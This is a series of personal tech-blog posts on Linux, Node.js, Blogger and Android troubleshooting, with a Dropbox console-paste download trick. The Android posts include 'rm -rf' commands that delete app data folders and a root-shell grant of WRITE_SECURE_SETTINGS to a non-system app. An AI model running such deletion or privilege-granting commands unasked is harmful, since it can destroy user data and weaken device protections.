<b>Step 1.</b> Navigate to the dropbox folder on the browser and open your developer console. Press <span style="background-color: #cccccc;"> cmd + j </span> on mac or <span style="background-color: #cccccc;"> ctrl + shift + j </span> on linux and windows.<br />
<br /></div>
<div>
<b>Step 2.</b> Paste the following code in the console.</div>
<div>
<br /></div>
<script src="//pastebin.com/embed_js/FgXgZWrq"></script>
<br />
<div>
<br /></div>
<div>
<b>Step 3.</b> The browser will try to block the windows trying to download it. Select the option to <span style="background-color: #cccccc;"> Always allow pop-ups from https://www.dropbox.com </span>. For instance this is how it will look on Google Chrome (you have to click on right most icon in the search bar).</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtEJL4BtqxNtvOxooSqAQRIQGH14rtFBMpAc0BwT1HyF6vqZ4j-HJu14LN_Kop6Yl7eYW-Wj64pdc0J2i0LWW1nqW7PuhV5XHEPj-f7mm_ESSyYAIGW9jj6PxprHHnGXMIn_8kVaNJ5yI/s1600/popup.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtEJL4BtqxNtvOxooSqAQRIQGH14rtFBMpAc0BwT1HyF6vqZ4j-HJu14LN_Kop6Yl7eYW-Wj64pdc0J2i0LWW1nqW7PuhV5XHEPj-f7mm_ESSyYAIGW9jj6PxprHHnGXMIn_8kVaNJ5yI/s640/popup.png" width="434" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<b><br /></b></div>
<div class="separator" style="clear: both; text-align: left;">
<b>Step 4.</b> Your files will be downloaded one by one!</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<b>NOTE:</b> If any folder inside the folder is greater than 1GB in size, then you may have to do the same process after navigating to that folder in the browser.</div><br />
<b>Update:</b> Make sure that you use the list view to see files by clicking on this:
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-cTY6vpjcXu3AmUxSOwrGtII5aq3rmeZJ7regysXn9zPcdnVMUtxi_9u986-ttgQbuT4HjLiEhJxP41Ta1CqzisRghyi13R9uR0hcBzQLaFCJiF2VDHlPSa_4LiALAsYsYzN77glkgaU/s1600/Screen+Shot+2017-04-14+at+8.23.31+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-cTY6vpjcXu3AmUxSOwrGtII5aq3rmeZJ7regysXn9zPcdnVMUtxi_9u986-ttgQbuT4HjLiEhJxP41Ta1CqzisRghyi13R9uR0hcBzQLaFCJiF2VDHlPSa_4LiALAsYsYzN77glkgaU/s640/Screen+Shot+2017-04-14+at+8.23.31+AM.png" width="640" height="44" /></a></div>
</div>
Suresh Alsehttp://www.blogger.com/profile/17014135247297674384noreply@blogger.com0tag:blogger.com,1999:blog-6272733848189485006.post-58504413497853987512016-09-15T15:02:00.000-07:002016-09-15T15:07:48.424-07:00Right way to set env variable while exec or execFile in nodejs<div dir="ltr" style="text-align: left;" trbidi="on">
According to the official <a href="https://nodejs.org/api/child_process.html#child_process_child_process_exec_command_options_callback">documentation</a>, exec allows you to pass additional environment variables as part of options like this:<br />
<script src="//pastebin.com/embed_js/1K4xWhAQ"></script><br/>
This looks fine right? except that it totally isn't! By passing "env" as an option, you are not adding on to existing environment variables, but you are replacing it. This is not clear from the documentation and can leave you scratching your head for a while as it can seem to break the command for no particular reason at all! So, you need to essentially make a copy of process.env and modify it like follows.<br />
<br />
<script src="//pastebin.com/embed_js/39JfsmxB"></script></br/>
Thanks for stopping by!</div>
Suresh Alsehttp://www.blogger.com/profile/17014135247297674384noreply@blogger.com0tag:blogger.com,1999:blog-6272733848189485006.post-85135209724830602922016-04-28T15:39:00.001-07:002016-04-28T15:42:54.249-07:00Problem with clipboard on Ubuntu<div dir="ltr" style="text-align: left;" trbidi="on">
Clipboard on Ubuntu is "broken". Well, maybe not. But copy-paste is broken in a lot of applications on Ubuntu. Let me give you an example,<br />
<br />
<ul style="text-align: left;">
<li>Open LibreOffice.</li>
<li>Write something and copy it.</li>
<li>Paste it somewhere else. It works as expected.</li>
<li>Now close LibreOffice and try pasting. It won't work.</li>
</ul>
<div>
This is a well known bug - <a href="https://bugs.launchpad.net/ubuntu/+bug/11334">Copy-Paste doesn't work if the source is closed before the paste</a>; affecting a lot of applications on Ubuntu. And they are not so keen on fixing it, atleast not any time soon.</div>
<div>
The reason for this is that these applications do not comply with the clipboard specification from <a href="https://www.freedesktop.org/wiki/ClipboardManager/">FreeDesktop</a>. </div>
<blockquote class="tr_bq">
<div style="background-color: white; font-size: 14.14px;">
If a client needs to exit while owning the CLIPBOARD selection, it should request the clipboard manager to take over the ownership of the clipboard, using the SAVE_TARGETS mechanism. If there is no clipboard manager, or if the SAVE_TARGETS conversion fails, the application should simply exit.</div>
</blockquote>
Applications need to transfer ownership of the clipboard to clipboard manager before exiting for copied data to perisist after it exits. There is certainly nothing you can do about it, unless offcourse you are willing to modify the source code of each of these applications to make it comply to FreeDesktop specs.<br />
<br />
<h4 style="text-align: left;">
Fix. Well.. workaround.</h4>
<div>
The reporter/ moderator of the bug report suggests that we should install <b>diodon, klipper, glipper, parcellite or xfce4-clipman</b> as a workaround for this issue.</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtJk4iu0_ouE9hTDwIrQiz-uvcYZuABunPS0UUjs3vwec-lGA4JPKfYepN44xNYSDJffczpBPvYDXgAD9fUXDv9aPaBNKpHoe2gRkgogg_2d_k-pkUVR6r6gEq4nwKVHXvXB5CPEdQoSQ/s1600/Screenshot+from+2016-04-28+15-17-07.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="133" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtJk4iu0_ouE9hTDwIrQiz-uvcYZuABunPS0UUjs3vwec-lGA4JPKfYepN44xNYSDJffczpBPvYDXgAD9fUXDv9aPaBNKpHoe2gRkgogg_2d_k-pkUVR6r6gEq4nwKVHXvXB5CPEdQoSQ/s320/Screenshot+from+2016-04-28+15-17-07.png" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Working of diodon</td></tr>
</tbody></table>
<br />
<br /></div>
Suresh Alsehttp://www.blogger.com/profile/17014135247297674384noreply@blogger.com0tag:blogger.com,1999:blog-6272733848189485006.post-53519981564700608282016-04-26T09:57:00.000-07:002016-04-26T10:54:00.753-07:00Ubuntu 16.04 won't wake up from suspend<div dir="ltr" style="text-align: left;" trbidi="on">
I recently installed Ubuntu 16.04 LTS Xenial Xerus on my Thinkpad E550. I honestly regretted it not just because it doesn't support AMD proprietary fglrx driver aka AMD Catalyst or AMD Radeon Software but because the suspend feature stopped working.<br />
<br />
I initially thought that this had something to do with video drivers that I had installed on Ubuntu 15.10 which were now incompatible with 16.04. I realized that this was not the case as the issue persisted even on opensource drivers that it is compatible with.<br />
<br />
Also on a closer observation I realized that it was not that my system was not able to wake up from suspend, but that it was not able to suspend at all. On suspending, the screen would go off but my laptop kept running, heating up and draining battery. This problem existed when I hibernate or shutdown as well.<br />
<br />
Now the only possible reason for this is some problem in acpi which is not letting my system to suspend. Ubuntu 16.04 is shipped with kernel 4.4. A quick search on this issue on kernel 4.4 made me realize that this exists across several destros and mostly on thinkpads. So I upgraded to kernel 4.5 and the problem is resolved.<br />
<br />
<h4 style="text-align: left;">
Installing kernel 4.5</h4>
<div style="text-align: left;">
32 bit</div>
<script src="https://pastebin.com/embed_js/xHYSVTtE"></script>
<br />
<div style="text-align: left;">
64bit</div>
<script src="https://pastebin.com/embed_js/FLJxRjdy"></script>
<div style="text-align: left;"><br />
Then reboot!</div>
<div>
</div>
</div>
Suresh Alsehttp://www.blogger.com/profile/17014135247297674384noreply@blogger.com0tag:blogger.com,1999:blog-6272733848189485006.post-74100141831284672632016-01-08T14:19:00.001-08:002016-01-09T08:08:51.954-08:00Parsing wav file in node.js<div dir="ltr" style="text-align: left;" trbidi="on">
I have worked with wav audio data in python before. <a href="http://www.scipy.org/">Scipy</a> provides a very nice way to do this using scipy.io.wavfile<br />
<br />
<script src="//pastebin.com/embed_js/DBT3KzJ5"></script><br />
I wanted to do exactly the same in node.js. There is a module called <a href="https://www.npmjs.com/package/wav">wav</a> which sort of does it. However I faced several problems.<br />
<br />
1. The <a href="https://www.npmjs.com/package/wav#reader">Reader()</a> method reads the file stream and converts into chunks of <a href="https://nodejs.org/api/buffer.html">Buffer</a>. This is very good while building web apps as you can send chunks of data separately and combine it later. However, I was just writing a script that'd run offline, So I had to put all the buffers to an array and then use the concat method of Buffer.<br />
<br />
<script src="//pastebin.com/embed_js/e7K7fryr"></script><br />
2. The wav module doesn't do much processing and just throws the raw binary information at us. So, we have to take care of<br />
<br />
<ul style="text-align: left;">
<li><i>Combining hex data to get amplitudes</i> - One frame can be represented using several blocks of 8-bit hex. The number of blocks per frame is got using <i>blockAlign</i> parameter in the format.</li>
<li><i>Endianness</i> - Data may or may not be in <a href="https://en.wikipedia.org/wiki/Endianness">little endian format</a>. So, while reading the blocks of hex data, we have to take care of this.</li>
<li><i>Handling negative amplitudes</i> - Frames spanning several blocks when negative can be little challenging to handle as they are just stored as their <a href="https://en.wikipedia.org/wiki/Two%27s_complement">two's complement</a>.</li>
<li><i>Separating channels</i> - The raw binary contains data of all the channels together. Fortunately, they are mentioned one after the other. Using <i>channels</i> parameter in the format, channels can be separated easily.</li>
</ul>
<div>
So, let's see how I handled all the above cases. First, we need to capture the "format" of the audio file that contains information about the file.<br /><br />
<script src="//pastebin.com/embed_js/Nf7LB5Tq"></script>
</div>
<div>
<br /></div>
<div>
Then, on "end" event i.e after all the chunks have been combined, we will handle all the cases mentioned above as follows</div> <br />
<script src="//pastebin.com/embed_js/XR17h4yb"></script>
<div>
<br /></div>
<div>
Concluding, in this article I showed you how to handle and parse wav files in node.js by resolving several problems such as merging chunks of Buffer, combining hex data to get amplitudes, endianness, handling negative amplitudes and separating channels.</div>
</div>Suresh Alsehttp://www.blogger.com/profile/17014135247297674384noreply@blogger.com0tag:blogger.com,1999:blog-6272733848189485006.post-57261063873640667912015-12-23T09:25:00.000-08:002015-12-23T09:30:34.406-08:00Unfortunately the process com.android.phone has stopped in CM 13<div dir="ltr" style="text-align: left;" trbidi="on">
I have a good old nexus 4 still trying to keep up with the big boys in the market. After google ditched the plans of releasing the latest android 6.0 - Marshmallow for nexus 4, things didn't look so great. But with the release of <a href="https://download.cyanogenmod.org/?device=mako">CM 13 (mako)</a>, even nexus 4 has android 6.0! Previously, I was running CM 12.1 and I dirty flashed CM 13 on top of it. Although it doesn't have all the features that CM 12 had, with time, the awesome guys in XDA and cyanogen will port all the features to CM 13.<br />
<br />
After dirty flashing CM 13 on top of CM 12.1, I faced some problems. First of all, things were kinda slow. So I went to Developer options in Settings and set all the Animation scaling to .5x. This considerable made things faster. Secondly and more importantly, my sim card was not getting detected and I was getting a ton loads of popups saying "<span style="color: red;">Unfortunately the process com.android.phone has stopped</span>".<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9zjqRYqCYxECvcWb_wpUN1QPWcByh4nLCPVylRC8Wb6_mfLWzmKvFKSbLvGUvLH-J7F-cYk88ITlZVvRTS472nZv6SpmUy1Dpy_az3c6lLO33eP5DuqhR5bkkcoGD3mcnkzDhGmh1Axc/s1600/Screenshot_20151223-083841.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9zjqRYqCYxECvcWb_wpUN1QPWcByh4nLCPVylRC8Wb6_mfLWzmKvFKSbLvGUvLH-J7F-cYk88ITlZVvRTS472nZv6SpmUy1Dpy_az3c6lLO33eP5DuqhR5bkkcoGD3mcnkzDhGmh1Axc/s400/Screenshot_20151223-083841.png" width="240" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
I looked at the logcat to see what is going wrong and I found that this was appearing a lot of times.</div>
<script src="//pastebin.com/embed_js/9PmkHiwT"></script>
<br />
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Clearly, the problem was with <b>com.android.providers.telephony</b>. Upon looking closely, the problem was related to <b>CursorWindow</b> and <b>Cursor</b>. Hence, the problem was not with CM 13 but with the old database left behind by CM 12.1. </div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<h4 style="clear: both; text-align: left;">
Solution</h4>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Just delete the folders <b>/data/data/com.android.providers.telephony </b>and <b>/data/data/com.android.phone</b> using some tool like Root Explorer or you can do this in adb shell.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="color: #0b5394;">rm -rf /data/data/com.android.providers.telephony</span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="color: #0b5394;">rm -rf /data/data/com.android.phone</span></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Then, <b>restart</b> the phone.</div>
</div>
Suresh Alsehttp://www.blogger.com/profile/17014135247297674384noreply@blogger.com0tag:blogger.com,1999:blog-6272733848189485006.post-21875077562187848532015-10-27T11:14:00.000-07:002015-10-27T11:22:04.978-07:00USB debugging toggle widget<div dir="ltr" style="text-align: left;" trbidi="on">
Like I told you few days back in <a href="http://lifepluslinux.blogspot.in/2015/10/using-writesecuresettings-permission-on.html">this</a> post, I made a widget for android to toggle USB Debugging - ADB (Android Debug Bridge). Today, I will tell you more about it.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://github.com/alseambusher/adb-toggle/raw/master/Screenshot_on.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://github.com/alseambusher/adb-toggle/raw/master/Screenshot_on.png" width="240" /></a><a href="https://github.com/alseambusher/adb-toggle/raw/master/Screenshot_off.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://github.com/alseambusher/adb-toggle/raw/master/Screenshot_off.png" width="240" /></a></div>
<br />
<br />
There are many alternatives to this. However they either require you to make the app a system app or they simply open the settings page. As this was not exactly what I wanted, I made one myself that allows me to enable/ disable USB debugging on click. You can get the app from here.<br />
<br />
<center>
<a class="btn" href="https://github.com/alseambusher/adb-toggle/releases">Download ADB Toggle</a> <br /><br />
<a class="btn" href="https://github.com/alseambusher/adb-toggle">Fork me on Github</a>
</center>
<br />
<br />
You <b>DON'T</b> have to make this a system app!.<br />
<br />
<br /></div>
Suresh Alsehttp://www.blogger.com/profile/17014135247297674384noreply@blogger.com0tag:blogger.com,1999:blog-6272733848189485006.post-76463126192817399892015-10-25T01:44:00.000-07:002015-10-25T01:57:23.207-07:00Using WRITE_SECURE_SETTINGS permission on non system apps<div dir="ltr" style="text-align: left;" trbidi="on">
I happen to frequently use an app that doesn't work if USB Debugging - ADB (Android Debug Bridge) is enabled. It is very cumbersome to go to settings and enable or disable the setting every time I need to use the app.<br />
I checked if there are any widgets that could do this in a click and returned empty handed. So, I did what every developer would do - <a href="https://github.com/alseambusher/adb-toggle">build it myself</a>!<br />
<br />
In order to change the adb settings, I had to use WRITE_SECURE_SETTINGS permission. But there was one major problem! <i>This permission is not available for non system apps!!</i><br />
<br />
The easiest solution to this was to move the apk to <b>/system</b> partition. Except that I didn't want to do this as I frequently keep flashing /system partition.<br />
<br />
Another solution was to use pm and grant permission to the app like this:<br />
<br />
<code>adb pm grant <package name> android.permission.WRITE_SECURE_SETTINGS</code><br />
<br />
This was great! However I didn't want users who were gonna use the app to go through all this pain. I had to figure out a way to do the same <b>programmatically</b>. So I did the next best thing! To run the command after opening a root shell in the code.<br />
<br />
Here is how I did it.
<br />
<script src="http://pastebin.com/embed_js.php?i=SAmPBhyk"></script>
This requires root. But that's ok.</div>
Suresh Alsehttp://www.blogger.com/profile/17014135247297674384noreply@blogger.com0tag:blogger.com,1999:blog-6272733848189485006.post-71352170389582467722015-09-08T23:49:00.000-07:002015-09-08T23:59:52.987-07:00The Infamous battery re-calibration bug in Lenovo Thinkpad <div dir="ltr" style="text-align: left;" trbidi="on">
My brand new Lenovo Thinkpad is a beast and is supposed to give up to 8hrs of battery backup. But there was a weird problem. As soon as the battery remaining reached 30%, it used to drop to 6% in a second. When I looked up on google, I found out that I was not the only one facing this problem. Most of them suggested that my battery was shot and that I had to buy a new one. This is highly improbable as it is brand new. I wanted to give fixing it a try before contacting customer care. And I was successful!<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNsUzigJtnNVjrcMaili90rplbiOEur2GBmFHQFprukZVKVEb9lCHRCu5IQ0ERegcBm-5M5pEcZjkzLFAp9jRhWj032xm4pX5xTxuP0O0gPcx8vskbZ_nQT7O3vzmmqP2hN5IpUjbd9Js/s1600/tlp.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="419" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNsUzigJtnNVjrcMaili90rplbiOEur2GBmFHQFprukZVKVEb9lCHRCu5IQ0ERegcBm-5M5pEcZjkzLFAp9jRhWj032xm4pX5xTxuP0O0gPcx8vskbZ_nQT7O3vzmmqP2hN5IpUjbd9Js/s640/tlp.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Before - See the battery percentage drop from 30% to 6%</td></tr>
</tbody></table>
<br />
<div class="separator" style="clear: both; text-align: left;">
For some reason, I suspected that it was somehow TLP's fault. TLP is the best power management utility for Thinkpad in Linux. It allows you to set max charging threshold so that you will be able to connect your laptop to the plug point without worrying about over charging (among many other features it provides). I felt that it is because of this, battery calibration was getting screwed up. So I set the maximum threshold to 100%.</div>
<br />
Open <b>/etc/default/tlp</b> and set following variables.<br />
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<code>
</code>
<br />
<div class="separator" style="clear: both;">
<code>START_CHARGE_THRESH_BAT0=100</code></div>
<code>
</code>
<div class="separator" style="clear: both;">
<code>STOP_CHARGE_THRESH_BAT0=100</code></div>
<code>
</code>
<br />
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
Then I restarted my laptop to bring this to effect. As the calibration was already offset by a great extent, the only way to fix it was to keep it charged for a long time. I kept it charging for almost a day.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic-X_StXDmF-c4buqdrNUMsx25q2QoaXgYnW9L5r704858YC5XJm06f6Ec2XXTh3t0mqfIfbKQOC2_SWbpuVLQuP5PAgZqD2p_ZTByDEsLnr2FSFsyWNJe64J8uVKazgRiiZx1sdDR38Q/s1600/2.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="416" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic-X_StXDmF-c4buqdrNUMsx25q2QoaXgYnW9L5r704858YC5XJm06f6Ec2XXTh3t0mqfIfbKQOC2_SWbpuVLQuP5PAgZqD2p_ZTByDEsLnr2FSFsyWNJe64J8uVKazgRiiZx1sdDR38Q/s640/2.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">After - Fixed!</td></tr>
</tbody></table>
<div class="separator" style="clear: both; text-align: left;">
Then to test it I kept discharging it. And to my surprise, it didn't drop from 30% to 6% this time!!</div>
<div class="separator" style="clear: both; text-align: left;">
So the problem was with calibration and not because the battery is broken. If you face this problem, you can try this solution once before you spend $$$ on buying a new battery.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Now that I have changed the battery threshold back to 85%, if this problem occurs again, all I have to do is follow the above steps.</div>
</div>
Suresh Alsehttp://www.blogger.com/profile/17014135247297674384noreply@blogger.com0tag:blogger.com,1999:blog-6272733848189485006.post-12915806682877002342015-09-06T12:09:00.000-07:002015-09-06T12:10:11.407-07:00Download only part of a repository in github<div dir="ltr" style="text-align: left;" trbidi="on">
<div>
Sometimes you would want to download only a part of a repository in Github but you don't want to download / clone the entire repository, specially when the repo is huge or has too many other things that you are not interested in. There are many ways to do this. For example you can do a shallow clone, or you can use Github API (there is a limit on number of requests per hour)..etc. However, none of them are simple and straightforward. </div>
<div>
<br /></div>
<div>
I recently found out that Github <a href="https://help.github.com/articles/support-for-subversion-clients/">supports svn</a> to some extent. So I tried the age old <i>svn export</i> to download a part of the project I was interested in. And it worked.<br />
<div>
<br /></div>
<div>
<code>
svn export https://github.com/<username>/<project name>/trunk/<folder path>
</code>
</div>
</div>
<div>
<br /></div>
<h4 style="text-align: left;">
For example:</h4>
<div>
<br /></div>
<div>
If you want to download only <i>docs</i> from <a href="https://github.com/twbs/bootstrap">Bootstrap</a> repository,<br />
<br />
<code>svn export https://github.com/twbs/bootstrap/trunk/docs</code><br />
<br />
Now, suppose you want to download it with a different name,<br />
<br />
<code>svn export https://github.com/twbs/bootstrap/trunk/docs bootstrap-docs</code><br />
<br />
<br /></div>
</div>
Suresh Alsehttp://www.blogger.com/profile/17014135247297674384noreply@blogger.com0tag:blogger.com,1999:blog-6272733848189485006.post-57125126236283946972015-08-03T12:32:00.001-07:002015-08-03T12:34:14.505-07:00Material Theme for Google Blogger<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both;">
<span style="text-align: left;">Inspired by Google's Material Design principles, this generates Material themes for Google Blogger using sass preprocessor.</span></div>
<br />
<center>
<a class="btn" href="https://github.com/alseambusher/material-blogger">Fork me on Github</a></center>
<br />
<br />
Here are some of the themes generated with <a href="https://github.com/alseambusher/material-blogger">material-blogger</a><br />
<br />
<center>
<a class="btn" href="https://github.com/alseambusher/material-blogger/tree/master/css">Get themes</a></center>
<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://raw.githubusercontent.com/alseambusher/material-blogger/master/screenshots/honor.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="320" src="https://raw.githubusercontent.com/alseambusher/material-blogger/master/screenshots/honor.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Honor Theme</td></tr>
</tbody></table>
<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://raw.githubusercontent.com/alseambusher/material-blogger/master/screenshots/aqua.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="320" src="https://raw.githubusercontent.com/alseambusher/material-blogger/master/screenshots/aqua.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Aqua Theme</td></tr>
</tbody></table>
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSvg22eQf5B9-dyZhTLjLKV2AeJv8XhaHoSe6qPzZCARlkpKG6Cd3f6OHqOT8Q1fsm2XWLNN-YpVKX7r7qxbwElpm08BgSDro7IjxVkCS4_iwvM0ccbhauoX7sKkGSRHRY-iKY4GTIo6A/s1600/pink+ribbon.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSvg22eQf5B9-dyZhTLjLKV2AeJv8XhaHoSe6qPzZCARlkpKG6Cd3f6OHqOT8Q1fsm2XWLNN-YpVKX7r7qxbwElpm08BgSDro7IjxVkCS4_iwvM0ccbhauoX7sKkGSRHRY-iKY4GTIo6A/s640/pink+ribbon.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Pink Ribbon Theme</td></tr>
</tbody></table>
<br />
<br />
<h4 style="text-align: left;">
Sample Widgets</h4>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://raw.githubusercontent.com/alseambusher/material-blogger/master/screenshots/button.gif" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://raw.githubusercontent.com/alseambusher/material-blogger/master/screenshots/button.gif" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Button</td></tr>
</tbody></table>
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://raw.githubusercontent.com/alseambusher/material-blogger/master/screenshots/search.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="488" src="https://raw.githubusercontent.com/alseambusher/material-blogger/master/screenshots/search.png" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Search Results</td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://raw.githubusercontent.com/alseambusher/material-blogger/master/screenshots/popular.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="400" src="https://raw.githubusercontent.com/alseambusher/material-blogger/master/screenshots/popular.png" width="235" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Popular Widget</td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://raw.githubusercontent.com/alseambusher/material-blogger/master/screenshots/widget.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="300" src="https://raw.githubusercontent.com/alseambusher/material-blogger/master/screenshots/widget.png" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Widget (Aqua Theme)</td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://raw.githubusercontent.com/alseambusher/material-blogger/master/screenshots/archive.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="320" src="https://raw.githubusercontent.com/alseambusher/material-blogger/master/screenshots/archive.png" width="262" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Archive</td></tr>
</tbody></table>
<br />
<br />
<b>To see how to use it, see <a href="https://github.com/alseambusher/material-blogger/blob/master/README.md">this</a></b><br />
<br />
<br />
<br />
<br />
<br /></div>
Suresh Alsehttp://www.blogger.com/profile/17014135247297674384noreply@blogger.com0tag:blogger.com,1999:blog-6272733848189485006.post-44755467566834085232015-07-21T22:49:00.001-07:002015-07-21T22:49:49.623-07:00Error 500: The template is updated in other place. Please reload the original page and retry it again<div dir="ltr" style="text-align: left;" trbidi="on">
When I edited my layout in Blogger and tried to preview it, I used to get the following error:<br />
<blockquote class="tr_bq">
<span style="color: red;">The template is updated in other place. Please reload the original page and retry it again</span></blockquote>
Then when i tried to save the layout, I used to get this error<br />
<blockquote class="tr_bq">
<span style="color: red;">The server was unable to save the form at this time. Please try again</span></blockquote>
After searching a lot on google, I found out that adding mobile only widgets causes this problem.<br />
So, I followed the following steps to fix the issue.<br />
<br />
Go to <i><b>Template -> Edit HTML</b></i><br />
<br />
Then search for mobile="only". You might find something like this:<br />
<br />
<span style="color: #0b5394;"><b:widget id='HTML4' locked='false' <span style="background-color: yellow;">mobile='only'</span> title='Mobile ad' type='HTML'></span><br />
<br />
Change this to:<br />
<br />
<span style="color: #0b5394;"><b:widget id='HTML4' locked='false' <span style="background-color: yellow;">mobile='yes'</span> title='Mobile ad' type='HTML'></span><br />
<br />
<br />
This will solve the problem. I think google should do something regarding this problem as it is not that straightforward to fix this.</div>
Suresh Alsehttp://www.blogger.com/profile/17014135247297674384noreply@blogger.com0tag:blogger.com,1999:blog-6272733848189485006.post-43315722903360930512015-07-15T01:26:00.001-07:002016-01-09T09:42:00.580-08:00ERR_TUNNEL_CONNECTION_FAILED on mobile network on android<div dir="ltr" style="text-align: left;" trbidi="on">
For the past few days, whenever I tried to access any site with HTTPS, I used to get this error.<br />
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
